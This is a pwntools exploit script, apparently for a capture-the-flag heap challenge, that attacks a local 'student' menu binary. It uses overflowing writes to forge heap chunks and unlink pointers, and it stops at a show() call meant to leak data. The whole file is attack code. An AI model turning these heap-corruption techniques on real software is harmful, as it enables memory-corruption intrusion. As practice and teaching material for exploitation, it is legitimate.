from
pwn
import
*
context.terminal
=
[
'tmux'
,
'sp'
,
'-h'
]
context(os
=
'linux'
, arch
=
'amd64'
)
local
=
1
elf
=
ELF(
'./vuln'
)
if
local:
p
=
gdb.debug(
'./vuln'
,
"b *main+57"
)
libc
=
ELF(
'./libc.so'
)
else
:
p
=
remote('',
0
)
libc
=
ELF(
'./libc.so'
)
sd
=
lambda
s: p.send(s)
sl
=
lambda
s: p.sendline(s)
sa
=
lambda
n, s: p.sendafter(n, s)
sla
=
lambda
n, s: p.sendlineafter(n, s)
rc
=
lambda
n: p.recv(n)
rl
=
lambda
: p.recvline()
ru
=
lambda
s: p.recvuntil(s)
ra
=
lambda
: p.recvall()
ia
=
lambda
: p.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
, b
"\x00"
))
uu64
=
lambda
data: u64(data.ljust(
8
, b
"\x00"
))
def
cmd(op):
sla(
">> "
,
str
(op))
def
add(size, content):
cmd(
1
)
sla(
"How many students do you want to add: "
,
str
(
1
))
sla(
"Gender (m/f): "
,
"m"
)
sla(
"Size: "
,
str
(size))
sa(
"Content:"
, content)
print
(
"--------------\nadd一个\n--------------"
)
def
show(index):
cmd(
2
)
sla(
"Enter the index of the student: "
,
str
(index))
cmd(
2
)
print
(
"--------------\nshow一个\n--------------"
)
def
free(index):
cmd(
3
)
sla(
"Enter the index of the student: "
,
str
(index))
cmd(
2
)
print
(
"--------------\n删除一个\n--------------"
)
add(
0x410
,
"a"
*
8
)
add(
0x100
,
"a"
*
8
)
add(
0x430
,
"a"
*
8
)
add(
0x430
,
"a"
*
8
)
add(
0x100
,
"a"
*
8
)
add(
0x480
,
"a"
*
8
)
add(
0x420
,
"a"
*
8
)
add(
0x10
,
"a"
*
8
)
free(
0
)
free(
3
)
free(
6
)
free(
2
)
add(
0x450
, b
"a"
*
0x438
+
p16(
0x551
))
add(
0x410
,
"a"
*
8
)
add(
0x420
,
"a"
*
8
)
add(
0x410
,
"a"
*
8
)
print
(
"构造fake chunk成功"
)
free(
6
)
free(
2
)
add(
0x410
,
"a"
*
8
)
add(
0x410
,
"a"
*
8
)
print
(
"构造FD->bk成功"
)
free(
6
)
free(
3
)
free(
5
)
add(
0x4f0
, b
"b"
*
0x488
+
p64(
0x431
))
add(
0x3b0
,
"a"
*
8
)
print
(
"构造BK->fd成功"
)
free(
4
)
add(
0x108
, b
"c"
*
0x100
+
p64(
0x550
))
add(
0x400
,
"a"
*
8
)
free(
3
)
add(
0x10
,
"a"
*
8
)
show(
6
)